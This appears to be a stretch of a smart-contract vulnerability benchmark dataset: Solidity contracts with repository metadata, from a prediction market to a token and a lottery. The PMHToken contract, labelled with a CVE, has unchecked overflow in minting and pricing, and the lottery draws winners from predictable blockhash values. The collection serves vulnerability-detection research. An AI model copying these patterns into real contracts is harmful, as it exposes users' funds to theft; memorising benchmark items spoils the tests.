newMarket.neutralMinValue = _pricenew.sub(_calculatePercentage(optionRangePercentage, _pricenew, 10000));
newMarket.neutralMaxValue = _pricenew.add(_calculatePercentage(optionRangePercentage, _pricenew, 10000));
emit LogNewMarketCreated(marketCount, _pricenew);
}
function createNewMarket() public onlyOperator returns(bool success) {
require(getMarketStatus(marketCount) == MarketStatus.Closed, "The Predection Market is not Closed");
require(!marketCreationPaused, "=== The owner has paused market creation ===");
marketCount = marketCount.add(1);
uint _price = getLatestPrice(); //returns latest FTM/USD in the following format: 40345000000 (8 decimals)
Market storage newMarket = markets[marketCount];
newMarket.state = MarketStatus.Live;
newMarket.startTime = block.timestamp;
newMarket.expireTime = newMarket.startTime.add(marketDuration);
newMarket.settleTime = newMarket.expireTime.sub(60);
newMarket.neutralMinValue = _price.sub(_calculatePercentage(optionRangePercentage, _price, 10000));
newMarket.neutralMaxValue = _price.add(_calculatePercentage(optionRangePercentage, _price, 10000));
emit LogNewMarketCreated(marketCount, _price);
return true;
}
function calculateWinnings(uint _marketId, address _user) public view returns(uint winnings) {
Market storage m = markets[_marketId];
uint winningBet = m.users[_user].amountStaked[m.winningOption];
uint winningTotal = m.totalBets[m.winningOption];
uint loserPool = m.totalPool.sub(winningTotal);
winnings = loserPool.mul(winningBet).div(winningTotal);
winnings = winnings.add(winningBet);
return winnings;
}
function withdrawWinnings(uint _marketId) external {
Market storage m = markets[_marketId];
require(m.users[msg.sender].claimedWinnings == false, "=== You already claimed your winnings for this market :(===");
require(getMarketStatus(_marketId) == MarketStatus.Closed, "The Predection Market is not Closed");
uint winningBet = m.users[msg.sender].amountStaked[m.winningOption];
require(winningBet > 0, "=== You have no bets on the winning option :(===");
uint winnings = calculateWinnings(_marketId, msg.sender);
m.users[msg.sender].claimedWinnings = true;
msg.sender.transfer(winnings);
emit LogWinningsClaimed(_marketId, msg.sender, winnings);
}
function getLatestPrice() public view returns (uint latestPrice) {
(uint80 roundId, int price, uint startedAt, uint timeStamp, uint80 answeredInRound) = priceFeed.latestRoundData();
// If the round is not complete yet, timestamp is 0
require(timeStamp > 0, "Round not complete");
return uint256(price);
}
function getClosedPrice(uint _expireTime) public onlyOperator view returns(uint closedPrice, uint roundId) {
uint80 currentRoundId;
int currentRoundPrice;
uint currentRoundTimeStamp;
(currentRoundId, currentRoundPrice, , currentRoundTimeStamp,) = priceFeed.latestRoundData();
while(currentRoundTimeStamp > _expireTime) {
currentRoundId--;
(currentRoundId, currentRoundPrice, , currentRoundTimeStamp,) = priceFeed.getRoundData(currentRoundId);
if(currentRoundTimeStamp <= _expireTime) {
break;
}
}
return (uint(currentRoundPrice), currentRoundId);
}
function getMarketStatus(uint _marketId) public view returns(MarketStatus status){
Market storage m = markets[_marketId];
if(m.state == MarketStatus.Live && block.timestamp > m.expireTime) {
return MarketStatus.Closed;
} else {
return m.state;
}
}
function getMarketStartTime(uint _marketId) public view returns(uint startTime) {
Market storage m = markets[_marketId];
return m.startTime;
}
function getMarketExpireTime(uint _marketId) public view returns(uint expireTime) {
Market storage m = markets[_marketId];
return m.expireTime;
}
function getMarketSettleTime(uint _marketId) public view returns(uint expireTime) {
Market storage m = markets[_marketId];
return m.settleTime;
}
function getNeutralMinValue(uint _marketId) public view returns(uint minValue) {
Market storage m = markets[_marketId];
return m.neutralMinValue;
}
function getNeutralMaxValue(uint _marketId) public view returns(uint maxValue) {
Market storage m = markets[_marketId];
return m.neutralMaxValue;
}
function getWinningOption(uint _marketId) public view returns(Option winner) {
Market storage m = markets[_marketId];
return m.winningOption;
}
function getMarketTotalPool(uint _marketId) public view returns(uint totalPool) {
Market storage m = markets[_marketId];
return m.totalPool;
}
function getMarketTotalBets(uint _marketId, Option _option) public view returns(uint totalBets) {
Market storage m = markets[_marketId];
return m.totalBets[_option];
}
function getUserClaimedWinnings(uint _marketId, address _user) public view returns(bool claimed) {
Market storage m = markets[_marketId];
return m.users[_user].claimedWinnings;
}
function getUserAmountStaked(uint _marketId, address _user, Option _option) public view returns(uint amountStaked) {
Market storage m = markets[_marketId];
return m.users[_user].amountStaked[_option];
}
function setMarketDuration(uint _marketDuration) external onlyOwner {
marketDuration = _marketDuration;
}
function setComissionPercentage(uint _amount) external onlyOwner {
commissionPercentage = _amount;
}
function seetOptionPercentage(uint _amount) external onlyOwner {
optionRangePercentage = _amount;
}
function setOperator(address _operator) external onlyOwner {
operator = _operator;
}
function withdrawComissionAmount(uint _amount) external onlyOwner {
msg.sender.transfer(_amount);
commissionAmount = commissionAmount.sub(_amount);
}
function withdrawComissionAmount() external onlyOwner {
msg.sender.transfer(commissionAmount);
commissionAmount = 0;
}
function getContractBalance() public view returns(uint balance) {
return address(this).balance;
}
function _calculatePercentage(uint256 _percent, uint256 _value, uint256 _divisor) internal pure returns(uint256) {
return _percent.mul(_value).div(_divisor);
}
function updateOracleAddress(address _oracle) external onlyOwner {
oracle = _oracle;
}
function pauseMarketCreation() external onlyOwner {
require(!marketCreationPaused);
marketCreationPaused = true;
}
function resumeMarketCreation() external onlyOwner {
require(marketCreationPaused);
marketCreationPaused = false;
}
function destroy() public onlyOwner {
selfdestruct(owner);
}
fallback () external payable {
revert("=== Please use the dedicated functions to place bets and/or transfer ether into this smart contract ===");
}
receive() external payable {
revert("=== Please use the dedicated functions to place bets and/or transfer ether into this smart contract ===");
}
}
| 316,469 | 10,559 |
8f8c8c9916dc50d16707499fb87b124db6b56ee6ca6bc5ee8381af2cab69ecbd
| 16,968 |
.sol
|
Solidity
| false |
210798529
|
kupl/VeriSmart-benchmarks
|
8cbb2db1805774b4844a4599f22242113270b252
|
benchmarks/cve/2018-13705.sol
| 3,868 | 15,521 |
pragma solidity ^0.4.18;
contract owned {
address public owner; // Owner address.
function owned() internal {
owner = msg.sender ;
}
modifier onlyOwner {
require(msg.sender == owner); _;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract token {
string public name; // Name for the token.
string public symbol; // Symbol for the token.
uint8 public decimals; // Number of decimals of the token.
uint256 public totalSupply; // Total of tokens created.
// Array containing the balance foreach address.
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
function token(uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol) internal {
balanceOf[msg.sender] = initialSupply; // Gives the creator all initial tokens.
totalSupply = initialSupply; // Update total supply.
name = tokenName; // Set the name for display purposes.
symbol = tokenSymbol; // Set the symbol for display purposes.
decimals = decimalUnits; // Amount of decimals for display purposes.
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0); // Prevent transfer to 0x0 address.
require(balanceOf[_from] > _value); // Check if the sender has enough.
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows.
balanceOf[_from] -= _value; // Subtract from the sender.
balanceOf[_to] += _value; // Add the same to the recipient.
Transfer(_from, _to, _value); // Notifies the blockchain about the transfer.
}
/// @notice Send `_value` tokens to `_to` from your account.
/// @param _to The address of the recipient.
/// @param _value The amount to send.
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/// @notice Send `_value` tokens to `_to` in behalf of `_from`.
/// @param _from The address of the sender.
/// @param _to The address of the recipient.
/// @param _value The amount to send.
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance.
allowance[_from][msg.sender] -= _value; // Updates the allowance array, substracting the amount sent.
_transfer(_from, _to, _value); // Makes the transfer.
return true;
}
/// @notice Allows `_spender` to spend a maximum of `_value` tokens in your behalf.
/// @param _spender The address authorized to spend.
/// @param _value The max amount they can spend.
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value; // Adds a new register to allowance, permiting _spender to use _value of your tokens.
return true;
}
}
contract PMHToken is owned, token {
uint256 public sellPrice = 5000000000000000; // Price applied if someone wants to sell a token.
uint256 public buyPrice = 10000000000000000; // Price applied if someone wants to buy a token.
bool public closeBuy = false; // If true, nobody will be able to buy.
bool public closeSell = false; // If true, nobody will be able to sell.
uint256 public tokensAvailable = balanceOf[this]; // Number of tokens available for sell.
uint256 public solvency = this.balance; // Amount of Ether available to pay sales.
uint256 public profit = 0; // Shows the actual profit for the company.
address public comisionGetter = 0x70B593f89DaCF6e3BD3e5bD867113FEF0B2ee7aD ; // The address that gets the comisions paid.
// added MAR 2018
mapping (address => string) public emails ; // Array containing the e-mail addresses of the token holders
mapping (uint => uint) public dividends ; // for each period in the index, how many weis set for dividends distribution
mapping (address => uint[]) public paidDividends ; // for each address, if the period dividend was paid or not and the amount
// added MAR 2018
mapping (address => bool) public frozenAccount; // Array containing foreach address if it's frozen or not.
event FrozenFunds(address target, bool frozen);
event LogDeposit(address sender, uint amount);
event LogWithdrawal(address receiver, uint amount);
function PMHToken(uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol) public
token (initialSupply, tokenName, decimalUnits, tokenSymbol) {}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0); // Prevent transfer to 0x0 address.
require(balanceOf[_from] >= _value); // Check if the sender has enough.
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows.
require(!frozenAccount[_from]); // Check if sender is frozen.
require(!frozenAccount[_to]); // Check if recipient is frozen.
balanceOf[_from] -= _value; // Subtracts _value tokens from the sender.
balanceOf[_to] += _value; // Adds the same amount to the recipient.
_updateTokensAvailable(balanceOf[this]); // Update the balance of tokens available if necessary.
Transfer(_from, _to, _value); // Notifies the blockchain about the transfer.
}
function refillTokens(uint256 _value) public onlyOwner{
// Owner sends tokens to the contract.
_transfer(msg.sender, this, _value);
}
function transfer(address _to, uint256 _value) public {
// This function requires a comision value of 0.4% of the market value.
uint market_value = _value * sellPrice;
uint comision = market_value * 4 / 1000;
// The token smart-contract pays comision, else the transfer is not possible.
require(this.balance >= comision);
comisionGetter.transfer(comision); // Transfers comision to the comisionGetter.
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance.
// This function requires a comision value of 0.4% of the market value.
uint market_value = _value * sellPrice;
uint comision = market_value * 4 / 1000;
// The token smart-contract pays comision, else the transfer is not possible.
require(this.balance >= comision);
comisionGetter.transfer(comision); // Transfers comision to the comisionGetter.
allowance[_from][msg.sender] -= _value; // Updates the allowance array, substracting the amount sent.
_transfer(_from, _to, _value); // Makes the transfer.
return true;
}
function _updateTokensAvailable(uint256 _tokensAvailable) internal { tokensAvailable = _tokensAvailable; }
function _updateSolvency(uint256 _solvency) internal { solvency = _solvency; }
function _updateProfit(uint256 _increment, bool add) internal{
if (add){
// Increase the profit value
profit = profit + _increment;
}else{
// Decrease the profit value
if(_increment > profit){ profit = 0; }
else{ profit = profit - _increment; }
}
}
/// @notice Create `mintedAmount` tokens and send it to `target`.
/// @param target Address to receive the tokens.
/// @param mintedAmount The amount of tokens target will receive.
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount; // Updates target's balance.
totalSupply += mintedAmount; // Updates totalSupply.
_updateTokensAvailable(balanceOf[this]); // Update the balance of tokens available if necessary.
Transfer(0, this, mintedAmount); // Notifies the blockchain about the tokens created.
Transfer(this, target, mintedAmount); // Notifies the blockchain about the transfer to target.
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens.
/// @param target Address to be frozen.
/// @param freeze Either to freeze target or not.
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze; // Sets the target status. True if it's frozen, False if it's not.
FrozenFunds(target, freeze); // Notifies the blockchain about the change of state.
}
/// @param newSellPrice Price applied when an address sells its tokens, amount in WEI (1ETH = 10WEI).
/// @param newBuyPrice Price applied when an address buys tokens, amount in WEI (1ETH = 10WEI).
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice; // Updates the buying price.
buyPrice = newBuyPrice; // Updates the selling price.
}
/// @notice Sets the state of buy and sell operations
/// @param isClosedBuy True if buy operations are closed, False if opened.
/// @param isClosedSell True if sell operations are closed, False if opened.
function setStatus(bool isClosedBuy, bool isClosedSell) onlyOwner public {
closeBuy = isClosedBuy; // Updates the state of buy operations.
closeSell = isClosedSell; // Updates the state of sell operations.
}
/// @notice Deposits Ether to the contract
function deposit() payable public returns(bool success) {
require((this.balance + msg.value) > this.balance); // Checks for overflows.
//Contract has already received the Ether when this function is executed.
_updateSolvency(this.balance); // Updates the solvency value of the contract.
_updateProfit(msg.value, false); // Decrease profit value.
// Decrease because deposits will be done mostly by the owner.
// Possible donations won't count as profit for the company, but in favor of the investors.
LogDeposit(msg.sender, msg.value); // Notifies the blockchain about the Ether received.
return true;
}
/// @notice The owner withdraws Ether from the contract.
/// @param amountInWeis Amount of ETH in WEI which will be withdrawed.
function withdraw(uint amountInWeis) onlyOwner public {
LogWithdrawal(msg.sender, amountInWeis); // Notifies the blockchain about the withdrawal.
_updateSolvency((this.balance - amountInWeis)); // Updates the solvency value of the contract.
_updateProfit(amountInWeis, true); // Increase the profit value.
owner.transfer(amountInWeis); // Sends the Ether to owner address.
}
function withdrawDividends(uint amountInWeis) internal returns(bool success) {
LogWithdrawal(msg.sender, amountInWeis); // Notifies the blockchain about the withdrawal.
_updateSolvency((this.balance - amountInWeis)); // Updates the solvency value of the contract.
msg.sender.transfer(amountInWeis); // Sends the Ether to owner address.
return true ;
}
/// @notice Buy tokens from contract by sending Ether.
function buy() public payable {
require(!closeBuy); //Buy operations must be opened
uint amount = msg.value / buyPrice; //Calculates the amount of tokens to be sent
uint market_value = amount * buyPrice; //Market value for this amount
uint comision = market_value * 4 / 1000; //Calculates the comision for this transaction
uint profit_in_transaction = market_value - (amount * sellPrice) - comision; //Calculates the relative profit for this transaction
require(this.balance >= comision); //The token smart-contract pays comision, else the operation is not possible.
comisionGetter.transfer(comision); //Transfers comision to the comisionGetter.
_transfer(this, msg.sender, amount); //Makes the transfer of tokens.
_updateSolvency((this.balance - profit_in_transaction)); //Updates the solvency value of the contract.
_updateProfit(profit_in_transaction, true); //Increase the profit value.
owner.transfer(profit_in_transaction); //Sends profit to the owner of the contract.
}
/// @notice Sell `amount` tokens to the contract.
/// @param amount amount of tokens to be sold.
function sell(uint256 amount) public {
require(!closeSell); //Sell operations must be opened
uint market_value = amount * sellPrice; //Market value for this amount
uint comision = market_value * 4 / 1000; //Calculates the comision for this transaction
uint amount_weis = market_value + comision; //Total in weis that must be paid
require(this.balance >= amount_weis); //Contract must have enough weis
comisionGetter.transfer(comision); //Transfers comision to the comisionGetter
_transfer(msg.sender, this, amount); //Makes the transfer of tokens, the contract receives the tokens.
_updateSolvency((this.balance - amount_weis)); //Updates the solvency value of the contract.
msg.sender.transfer(market_value); //Sends Ether to the seller.
}
/// Default function, sender buys tokens by sending ether to the contract:
function () public payable { buy(); }
function setDividends(uint _period, uint _totalAmount) onlyOwner public returns (bool success) {
require(this.balance >= _totalAmount) ;
// period is 201801 201802 etc. yyyymm - no more than 1 dividend distribution per month
dividends[_period] = _totalAmount ;
return true ;
}
function setEmail(string _email) public returns (bool success) {
require(balanceOf[msg.sender] > 0) ;
// require(emails[msg.sender] == "") ; // checks the e-mail for this address was not already set
emails[msg.sender] = _email ;
return true ;
}
function dividendsGetPaid(uint _period) public returns (bool success) {
uint percentageDividends ;
uint qtyDividends ;
require(!frozenAccount[msg.sender]); // frozen accounts are not allowed to withdraw ether
require(balanceOf[msg.sender] > 0) ; // sender has a positive balance of tokens to get paid
require(dividends[_period] > 0) ; // there is an active dividend period
require(paidDividends[msg.sender][_period] == 0) ; // the dividend for this token holder was not yet paid
// using here a 10000 (ten thousand) arbitrary multiplying factor for floating point precision
percentageDividends = (balanceOf[msg.sender] / totalSupply) * 10000 ;
qtyDividends = (percentageDividends * dividends[_period]) / 10000 ;
require(this.balance >= qtyDividends) ; // contract has enough ether to pay this dividend
paidDividends[msg.sender][_period] = qtyDividends ; // record the dividend was paid
require(withdrawDividends(qtyDividends));
return true ;
}
function adminResetEmail(address _address, string _newEmail) public onlyOwner {
require(balanceOf[_address] > 0) ;
emails[_address] = _newEmail ;
}
}
| 175,057 | 10,560 |
78c0623e3919d3f1fc80a5777f9676ed62ba55507c821cb137a28478257a9a7e
| 10,907 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xad7e9b5b9d15f2b26464ecbe76065f033b126a6c.sol
| 2,622 | 10,065 |
pragma solidity ^0.4.18;
contract Random {
uint public ticketsNum = 0;
mapping(uint => uint) internal tickets; // tickets for the current draw
mapping(uint => bool) internal payed_back; // ticket payment refunding identifier
address[] public addr; // addresses of all the draw participants
uint32 public random_num = 0; // draw serial number
uint public liveBlocksNumber = 5760; // amount of blocks untill the lottery ending
uint public startBlockNumber = 0; // initial block of the current lottery
uint public endBlockNumber = 0; // final block of the current lottery
uint public constant onePotWei = 10000000000000000; // 1 ticket cost is 0.01 ETH
address public inv_contract = 0x5192c55B1064D920C15dB125eF2E69a17558E65a; // investing contract
address public rtm_contract = 0x7E08c0468CBe9F48d8A4D246095dEb8bC1EB2e7e; // team contract
address public mrk_contract = 0xc01c08B2b451328947bFb7Ba5ffA3af96Cfc3430; // marketing contract
address manager; // lottery manager address
uint public winners_count = 0; // amount of winners in the current draw
uint last_winner = 0; // amount of winners already received rewards
uint public others_prize = 0; // prize fund less jack pots
uint public fee_balance = 0; // current balance available for commiting payment to investing, team and marketing contracts
// Events
// This generates a publics event on the blockchain that will notify clients
event Buy(address indexed sender, uint eth); // tickets purchase
event Withdraw(address indexed sender, address to, uint eth); // reward accruing
event Transfer(address indexed from, address indexed to, uint value); // event: sending ticket to another address
event TransferError(address indexed to, uint value); // event (error): sending ETH from the contract was failed
// methods with following modifier can only be called by the manager
modifier onlyManager() {
require(msg.sender == manager);
_;
}
// constructor
function Random() public {
manager = msg.sender;
startBlockNumber = block.number - 1;
endBlockNumber = startBlockNumber + liveBlocksNumber;
}
/// function for straight tickets purchase (sending ETH to the contract address)
function() public payable {
require(block.number < endBlockNumber || msg.value < 1000000000000000000);
if (msg.value > 0 && last_winner == 0) {
uint val = msg.value / onePotWei;
uint i = 0;
uint ix = checkAddress(msg.sender);
for(i; i < val; i++) { tickets[ticketsNum+i] = ix; }
ticketsNum += i;
Buy(msg.sender, msg.value);
}
if (block.number >= endBlockNumber) {
EndLottery();
}
}
/// function for ticket sending from owner's address to designated address
function transfer(address _to, uint _ticketNum) public {
if (msg.sender == getAddress(tickets[_ticketNum]) && _to != address(0)) {
uint ix = checkAddress(_to);
tickets[_ticketNum] = ix;
Transfer(msg.sender, _to, _ticketNum);
}
}
function manager_withdraw() onlyManager public {
require(block.number >= endBlockNumber + liveBlocksNumber);
msg.sender.transfer(this.balance);
}
/// lottery ending
function EndLottery() public payable returns (bool success) {
require(block.number >= endBlockNumber);
uint tn = ticketsNum;
if(tn < 3) {
tn = 0;
if(msg.value > 0) { msg.sender.transfer(msg.value); }
startNewDraw(msg.value);
return false;
}
uint pf = prizeFund();
uint jp1 = percent(pf, 10);
uint jp2 = percent(pf, 4);
uint jp3 = percent(pf, 1);
uint lastbet_prize = onePotWei*10;
if(last_winner == 0) {
winners_count = percent(tn, 4) + 3;
uint prizes = jp1 + jp2 + jp3 + lastbet_prize*2;
uint full_prizes = jp1 + jp2 + jp3 + (lastbet_prize * ((winners_count+1)/10));
if(winners_count < 10) {
if(prizes > pf) {
others_prize = 0;
} else {
others_prize = pf - prizes;
}
} else {
if(full_prizes > pf) {
others_prize = 0;
} else {
others_prize = pf - full_prizes;
}
}
sendEth(getAddress(tickets[getWinningNumber(1)]), jp1);
sendEth(getAddress(tickets[getWinningNumber(2)]), jp2);
sendEth(getAddress(tickets[getWinningNumber(3)]), jp3);
last_winner += 1;
sendEth(msg.sender, lastbet_prize + msg.value);
return true;
}
if(last_winner < winners_count + 1 && others_prize > 0) {
uint val = others_prize / winners_count;
uint i;
uint8 cnt = 0;
for(i = last_winner; i < winners_count + 1; i++) {
sendEth(getAddress(tickets[getWinningNumber(i+3)]), val);
cnt++;
if(cnt > 9) {
last_winner = i;
return true;
}
}
last_winner = i;
sendEth(msg.sender, lastbet_prize + msg.value);
return true;
} else {
startNewDraw(lastbet_prize + msg.value);
}
sendEth(msg.sender, lastbet_prize + msg.value);
return true;
}
/// new draw start
function startNewDraw(uint _msg_value) internal {
ticketsNum = 0;
startBlockNumber = block.number - 1;
endBlockNumber = startBlockNumber + liveBlocksNumber;
random_num += 1;
winners_count = 0;
last_winner = 0;
fee_balance += (this.balance - _msg_value);
}
/// sending rewards to the investing, team and marketing contracts
function payfee() public {
require(fee_balance > 0);
uint val = fee_balance;
inv_contract.transfer(percent(val, 20));
rtm_contract.transfer(percent(val, 49));
mrk_contract.transfer(percent(val, 30));
fee_balance = 0;
}
function sendEth(address _to, uint _val) internal returns(bool) {
if(this.balance < _val) {
TransferError(_to, _val);
return false;
}
_to.transfer(_val);
Withdraw(address(this), _to, _val);
return true;
}
function getWinningNumber(uint _blockshift) internal constant returns (uint) {
return uint(block.blockhash(block.number - _blockshift)) % ticketsNum + 1;
}
/// current amount of jack pot 1
function jackPotA() public view returns (uint) {
return percent(prizeFund(), 10);
}
/// current amount of jack pot 2
function jackPotB() public view returns (uint) {
return percent(prizeFund(), 4);
}
/// current amount of jack pot 3
function jackPotC() public view returns (uint) {
return percent(prizeFund(), 1);
}
/// current amount of prize fund
function prizeFund() public view returns (uint) {
return ((ticketsNum * onePotWei) / 100) * 90;
}
/// function for calculating definite percent of a number
function percent(uint _val, uint8 _percent) public pure returns (uint) {
return (_val / 100) * _percent;
}
/// returns owner address using ticket number
function getTicketOwner(uint _num) public view returns (address) {
if(ticketsNum == 0) {
return 0;
}
return getAddress(tickets[_num]);
}
/// returns amount of tickets for the current draw in the possession of specified address
function getTicketsCount(address _addr) public view returns (uint) {
if(ticketsNum == 0) {
return 0;
}
uint num = 0;
for(uint i = 0; i < ticketsNum; i++) {
if(tickets[i] == readAddress(_addr)) {
num++;
}
}
return num;
}
/// returns tickets numbers for the current draw in the possession of specified address
function getTicketsAtAdress(address _address) public view returns(uint[]) {
uint[] memory result = new uint[](getTicketsCount(_address));
uint num = 0;
for(uint i = 0; i < ticketsNum; i++) {
if(getAddress(tickets[i]) == _address) {
result[num] = i;
num++;
}
}
return result;
}
/// returns amount of paid rewards for the current draw
function getLastWinner() public view returns(uint) {
return last_winner+1;
}
/// investing contract address change
function setInvContract(address _addr) onlyManager public {
inv_contract = _addr;
}
/// team contract address change
function setRtmContract(address _addr) onlyManager public {
rtm_contract = _addr;
}
/// marketing contract address change
function setMrkContract(address _addr) onlyManager public {
mrk_contract = _addr;
}
function checkAddress(address _addr) public returns (uint addr_num)
{
for(uint i=0; i<addr.length; i++) {
if(addr[i] == _addr) {
return i;
}
}
return addr.push(_addr) - 1;
}
/// returns participants number (in the list of participants) be belonging address (read only)
function readAddress(address _addr) public view returns (uint addr_num)
{
for(uint i=0; i<addr.length; i++) {
if(addr[i] == _addr) {
return i;
}
}
return 0;
}
/// returns address by the number in the list of participants
function getAddress(uint _index) public view returns (address) {
return addr[_index];
}
/// method for direct contract replenishment with ETH
function deposit() public payable {
require(msg.value > 0);
}
}
| 188,569 | 10,561 |
bb2d7fde794b2175f3d650f4d768193f541ac2541ed7143255c05cf43edab99a
| 9,658 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x7d13d1eebfb7f5c0c22b52aa7dc63d52869e0efa.sol
| 2,206 | 9,548 |
pragma solidity ^0.4.8;
// 8D806FF01FFBE3374D34C8EC57BE9B1DA7188DF639478D37E4447DE430BA6BF4
contract TrustedDocument {
// Data structure for keeping document signatures and metadata.
// String data types are used because its easier to read by humans
// without need of decoding, gas price is less important.
struct Document {
// Id of the document, starting at 1
// 0 reserved for undefined / not found indicator
uint documentId;
// File name
string fileName;
// Hash of the main file
string documentContentSHA256;
// Hash of file containing extra metadata.
// Secured same way as content of the file
// size to save gas on transactions.
string documentMetadataSHA256;
// IPFS hash of directory containing the document and metadata binaries.
// Hash of the directory is build as merkle tree, so any change
// to any of the files in folder will invalidate this hash.
// So there is no need to keep IPFS hash for each single file.
string IPFSdirectoryHash;
// Block number
uint blockNumber;
// Document validity begin date, claimed by
// publisher. Documents can be published
// before they become valid, or in some
// cases later.
uint validFrom;
// Optional valid date to if relevant
uint validTo;
// Reference to document update. Document
// can be updated/replaced, but such update
// history cannot be hidden and it is
// persistant and auditable by everyone.
// Update can address document itself aswell
// as only metadata, where documentContentSHA256
// stays same between updates - it can be
// compared between versions.
// This works as one way linked list
uint updatedVersionId;
}
// Owner of the contract
address public owner;
// Needed for keeping new version address.
// If 0, then this contract is up to date.
// If not 0, no documents can be added to
// this version anymore. Contract becomes
// retired and documents are read only.
address public upgradedVersion;
// Total count of signed documents
uint public documentsCount;
// URLwith documents / GUI
string public baseUrl;
// Map of signed documents
mapping(uint => Document) private documents;
// Event for confirmation of adding new document
event EventDocumentAdded(uint indexed documentId);
// Event for updating document
event EventDocumentUpdated(uint indexed referencingDocumentId, uint indexed updatedDocumentId);
// Event for going on retirement
event Retired(address indexed upgradedVersion);
// Restricts call to owner
modifier onlyOwner() {
if (msg.sender == owner)
_;
}
// Restricts call only when this version is up to date == upgradedVersion is not set to a new address
// or in other words, equal to 0
modifier ifNotRetired() {
if (upgradedVersion == 0)
_;
}
// Constructor
constructor() public {
owner = msg.sender;
baseUrl = "_";
}
// Enables to transfer ownership. Works even after
// retirement. No documents can be added, but some
// other tasks still can be performed.
function transferOwnership(address _newOwner) public onlyOwner {
owner = _newOwner;
}
// Adds new document - only owner and if not retired
function addDocument(string _fileName,
string _documentContentSHA256,
string _documentMetadataSHA256,
string _IPFSdirectoryHash,
uint _validFrom, uint _validTo) public onlyOwner ifNotRetired {
// Documents incremented before use so documents ids will
// start with 1 not 0 (shifter by 1)
// 0 is reserved as undefined value
uint documentId = documentsCount+1;
//
emit EventDocumentAdded(documentId);
documents[documentId] = Document(documentId,
_fileName,
_documentContentSHA256,
_documentMetadataSHA256,
_IPFSdirectoryHash,
block.number,
_validFrom,
_validTo,
0);
documentsCount++;
}
// Gets total count of documents
function getDocumentsCount() public view
returns (uint)
{
return documentsCount;
}
// Retire if newer version will be available. To persist
// integrity, address of newer version needs to be provided.
// After retirement there is no way to add more documents.
function retire(address _upgradedVersion) public onlyOwner ifNotRetired {
// TODO - check if such contract exists
upgradedVersion = _upgradedVersion;
emit Retired(upgradedVersion);
}
// Gets document with ID
function getDocument(uint _documentId) public view
returns (uint documentId,
string fileName,
string documentContentSHA256,
string documentMetadataSHA256,
string IPFSdirectoryHash,
uint blockNumber,
uint validFrom,
uint validTo,
uint updatedVersionId) {
Document memory doc = documents[_documentId];
return (doc.documentId,
doc.fileName,
doc.documentContentSHA256,
doc.documentMetadataSHA256,
doc.IPFSdirectoryHash,
doc.blockNumber,
doc.validFrom,
doc.validTo,
doc.updatedVersionId);
}
// Gets document updatedVersionId with ID
// 0 - no update for document
function getDocumentUpdatedVersionId(uint _documentId) public view
returns (uint)
{
Document memory doc = documents[_documentId];
return doc.updatedVersionId;
}
// Gets base URL so everyone will know where to seek for files storage / GUI.
// Multiple URLS can be set in the string and separated by comma
function getBaseUrl() public view
returns (string)
{
return baseUrl;
}
// Set base URL even on retirement. Files will have to be maintained
// for a very long time, and for example domain name could change.
// To manage this, owner should be able to set base url anytime
function setBaseUrl(string _baseUrl) public onlyOwner {
baseUrl = _baseUrl;
}
// Utility to help seek fo specyfied document
function getFirstDocumentIdStartingAtValidFrom(uint _unixTimeFrom) public view
returns (uint)
{
for (uint i = 0; i < documentsCount; i++) {
Document memory doc = documents[i];
if (doc.validFrom>=_unixTimeFrom) {
return i;
}
}
return 0;
}
// Utility to help seek fo specyfied document
function getFirstDocumentIdBetweenDatesValidFrom(uint _unixTimeStarting, uint _unixTimeEnding) public view
returns (uint firstID, uint lastId)
{
firstID = 0;
lastId = 0;
//
for (uint i = 0; i < documentsCount; i++) {
Document memory doc = documents[i];
if (firstID==0) {
if (doc.validFrom>=_unixTimeStarting) {
firstID = i;
}
} else {
if (doc.validFrom<=_unixTimeEnding) {
lastId = i;
}
}
}
//
if ((firstID>0)&&(lastId==0)&&(_unixTimeStarting<_unixTimeEnding)) {
lastId = documentsCount;
}
}
// Utility to help seek fo specyfied document
function getDocumentIdWithContentHash(string _documentContentSHA256) public view
returns (uint)
{
bytes32 documentContentSHA256Keccak256 = keccak256(_documentContentSHA256);
for (uint i = 0; i < documentsCount; i++) {
Document memory doc = documents[i];
if (keccak256(doc.documentContentSHA256)==documentContentSHA256Keccak256) {
return i;
}
}
return 0;
}
// Utility to help seek fo specyfied document
function getDocumentIdWithIPFSdirectoryHash(string _IPFSdirectoryHash) public view
returns (uint)
{
bytes32 IPFSdirectoryHashSHA256Keccak256 = keccak256(_IPFSdirectoryHash);
for (uint i = 0; i < documentsCount; i++) {
Document memory doc = documents[i];
if (keccak256(doc.IPFSdirectoryHash)==IPFSdirectoryHashSHA256Keccak256) {
return i;
}
}
return 0;
}
// Utility to help seek fo specyfied document
function getDocumentIdWithName(string _fileName) public view
returns (uint)
{
bytes32 fileNameKeccak256 = keccak256(_fileName);
for (uint i = 0; i < documentsCount; i++) {
Document memory doc = documents[i];
if (keccak256(doc.fileName)==fileNameKeccak256) {
return i;
}
}
return 0;
}
// To update document:
// 1 - Add new version as ordinary document
// 2 - Call this function to link old version with update
